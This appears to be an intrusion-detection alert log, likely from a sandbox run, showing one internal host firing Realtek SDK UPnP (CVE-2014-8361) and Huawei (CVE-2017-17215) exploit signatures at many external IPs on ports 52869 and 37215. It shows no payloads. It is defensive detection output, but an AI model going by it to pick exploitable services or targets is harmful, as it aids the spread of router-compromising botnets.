ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.1.44.43

Timestamp:	07/20/24-23:02:06.615381
SID:	2027339
Source Port:	50648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.93.236.85

Timestamp:	07/20/24-23:02:20.374641
SID:	2027339
Source Port:	41736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.178.133.43

Timestamp:	07/20/24-23:01:20.597058
SID:	2831300
Source Port:	58228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.79.31.157

Timestamp:	07/20/24-23:01:42.612597
SID:	2831300
Source Port:	45456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.249.169.230

Timestamp:	07/20/24-23:01:43.751196
SID:	2025132
Source Port:	49298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.175.250

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	34972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.161.205.249

Timestamp:	07/20/24-23:01:56.447869
SID:	2027339
Source Port:	55486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.40.109.207

Timestamp:	07/20/24-23:01:51.360754
SID:	2027339
Source Port:	54610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.1.73

Timestamp:	07/20/24-23:01:34.053062
SID:	2829579
Source Port:	35306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.183.196.72

Timestamp:	07/20/24-23:01:44.318262
SID:	2027339
Source Port:	47538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.8.52.195

Timestamp:	07/20/24-23:01:43.364263
SID:	2025132
Source Port:	47600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.61.115.2

Timestamp:	07/20/24-23:01:47.622268
SID:	2027339
Source Port:	56800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.248.47.177

Timestamp:	07/20/24-23:01:42.813695
SID:	2027339
Source Port:	36424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.12.145.11

Timestamp:	07/20/24-23:01:46.899168
SID:	2027339
Source Port:	36496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.163.145.253

Timestamp:	07/20/24-23:01:42.799973
SID:	2027339
Source Port:	41598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.176.241.96

Timestamp:	07/20/24-23:01:42.499887
SID:	2025132
Source Port:	35622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.158.122.120

Timestamp:	07/20/24-23:01:02.281138
SID:	2025132
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.97.62.221

Timestamp:	07/20/24-23:01:46.707648
SID:	2027339
Source Port:	47876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.140.107

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	57076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.20.172.49

Timestamp:	07/20/24-23:01:31.313383
SID:	2027339
Source Port:	34288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.82.199.243

Timestamp:	07/20/24-23:01:45.407048
SID:	2027339
Source Port:	34170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.210.140.181

Timestamp:	07/20/24-23:01:53.484243
SID:	2025132
Source Port:	48602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.196.57.80

Timestamp:	07/20/24-23:01:10.550846
SID:	2027339
Source Port:	52846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.174.229.249

Timestamp:	07/20/24-23:01:42.014835
SID:	2027339
Source Port:	55010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.87.239.136

Timestamp:	07/20/24-23:01:42.196522
SID:	2027339
Source Port:	33358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.251.54.152

Timestamp:	07/20/24-23:01:02.345084
SID:	2027339
Source Port:	60784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	07/20/24-23:01:01.333817
SID:	2027339
Source Port:	40144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.241.170.132

Timestamp:	07/20/24-23:01:43.044692
SID:	2027339
Source Port:	33658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.165.99.108

Timestamp:	07/20/24-23:01:54.562310
SID:	2025132
Source Port:	57736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.217.185.57

Timestamp:	07/20/24-23:01:42.800757
SID:	2027339
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.192.16.201

Timestamp:	07/20/24-23:01:07.114267
SID:	2835222
Source Port:	35822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:45.887574
SID:	2027339
Source Port:	53000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.61.181.140

Timestamp:	07/20/24-23:01:51.354566
SID:	2027339
Source Port:	48434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.85.106.74

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	59576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.155.148

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	56590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.175.201.8

Timestamp:	07/20/24-23:01:53.219427
SID:	2027339
Source Port:	34934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.111.4.84

Timestamp:	07/20/24-23:01:31.312611
SID:	2027339
Source Port:	49188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.210.234.252

Timestamp:	07/20/24-23:01:44.520226
SID:	2027339
Source Port:	52308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.48.65.201

Timestamp:	07/20/24-23:01:43.596881
SID:	2027339
Source Port:	35476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.82.21.101

Timestamp:	07/20/24-23:01:59.707284
SID:	2025132
Source Port:	52044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.141.217.184

Timestamp:	07/20/24-23:01:44.602822
SID:	2831300
Source Port:	33086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.225.145

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	60850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.17.142.189

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	56630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.235.3.135

Timestamp:	07/20/24-23:01:41.967549
SID:	2027339
Source Port:	49624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.108.94

Timestamp:	07/20/24-23:01:02.104572
SID:	2835222
Source Port:	43368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.95.241.47

Timestamp:	07/20/24-23:01:41.956472
SID:	2027339
Source Port:	41802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.205.206.142

Timestamp:	07/20/24-23:01:44.274940
SID:	2831300
Source Port:	44924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:43.994703
SID:	2027339
Source Port:	33678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.44.248.130

Timestamp:	07/20/24-23:01:55.716125
SID:	2027339
Source Port:	36576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.220.99.163

Timestamp:	07/20/24-23:01:25.689098
SID:	2027339
Source Port:	54750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.130.15.144

Timestamp:	07/20/24-23:01:46.308516
SID:	2027339
Source Port:	54334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 129.251.133.85

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	54082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.40.238.120

Timestamp:	07/20/24-23:01:46.827502
SID:	2831300
Source Port:	55088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.115.171

Timestamp:	07/20/24-23:01:40.321965
SID:	2829579
Source Port:	42484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.127.255

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	40688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.122.43.145

Timestamp:	07/20/24-23:01:47.407718
SID:	2027339
Source Port:	35494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.25.105.249

Timestamp:	07/20/24-23:01:54.345401
SID:	2027339
Source Port:	44704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.40.152.48

Timestamp:	07/20/24-23:01:48.596773
SID:	2025132
Source Port:	37872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.228.162.123

Timestamp:	07/20/24-23:02:08.719613
SID:	2027339
Source Port:	45138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.65.214

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	56536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.85.156.168

Timestamp:	07/20/24-23:01:31.312895
SID:	2027339
Source Port:	50844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.20.116.108

Timestamp:	07/20/24-23:01:42.536855
SID:	2027339
Source Port:	60226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.96.161.223

Timestamp:	07/20/24-23:01:44.252201
SID:	2025132
Source Port:	34886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.141.159.182

Timestamp:	07/20/24-23:01:44.914703
SID:	2027339
Source Port:	42698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.139.110.226

Timestamp:	07/20/24-23:01:52.684130
SID:	2025132
Source Port:	36606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.85.128.112

Timestamp:	07/20/24-23:01:04.100971
SID:	2829579
Source Port:	60250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.109.146.148

Timestamp:	07/20/24-23:01:42.728248
SID:	2027339
Source Port:	37640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.112.193

Timestamp:	07/20/24-23:01:07.004906
SID:	2829579
Source Port:	34768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.250.238

Timestamp:	07/20/24-23:01:40.321964
SID:	2829579
Source Port:	46232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.248.84.13

Timestamp:	07/20/24-23:01:45.591520
SID:	2027339
Source Port:	53006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:01.320867
SID:	2027339
Source Port:	38554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.252.9

Timestamp:	07/20/24-23:01:27.735617
SID:	2835222
Source Port:	59152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.193.250.91

Timestamp:	07/20/24-23:02:00.322736
SID:	2025132
Source Port:	55204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.189.204.148

Timestamp:	07/20/24-23:01:01.426918
SID:	2025132
Source Port:	36142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.1.18.208

Timestamp:	07/20/24-23:01:43.970621
SID:	2831300
Source Port:	51010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.241.155.67

Timestamp:	07/20/24-23:01:02.123155
SID:	2025132
Source Port:	46746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.114.115.150

Timestamp:	07/20/24-23:01:12.834603
SID:	2831300
Source Port:	50948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.31.237

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	38924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.198.233.204

Timestamp:	07/20/24-23:01:08.584506
SID:	2831300
Source Port:	57902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.122.186.57

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.99.159.58

Timestamp:	07/20/24-23:01:02.048214
SID:	2829579
Source Port:	48170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.190.167.168

Timestamp:	07/20/24-23:01:43.621955
SID:	2831300
Source Port:	48784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.78.7

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	46448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.66.245.70

Timestamp:	07/20/24-23:01:41.412156
SID:	2027339
Source Port:	36990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.130.161.177

Timestamp:	07/20/24-23:01:43.088724
SID:	2027339
Source Port:	55198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 97.43.136.85

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.12.11.101

Timestamp:	07/20/24-23:01:42.470759
SID:	2027339
Source Port:	44516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.36.169.221

Timestamp:	07/20/24-23:01:42.760231
SID:	2027339
Source Port:	52620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.122.145.145

Timestamp:	07/20/24-23:01:46.530676
SID:	2831300
Source Port:	48422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.106.3.51

Timestamp:	07/20/24-23:01:52.482723
SID:	2025132
Source Port:	41540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.143.206

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	47164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.10.70.203

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	33388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.210.7.241

Timestamp:	07/20/24-23:01:43.489480
SID:	2027339
Source Port:	53146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.227.84.26

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	55320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.65.191.23

Timestamp:	07/20/24-23:01:44.144821
SID:	2027339
Source Port:	40362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.44.8.51

Timestamp:	07/20/24-23:02:02.632381
SID:	2025132
Source Port:	49310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.107.194.160

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	39198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.28.215.223

Timestamp:	07/20/24-23:01:54.957644
SID:	2831300
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.253.184.187

Timestamp:	07/20/24-23:01:53.503242
SID:	2027339
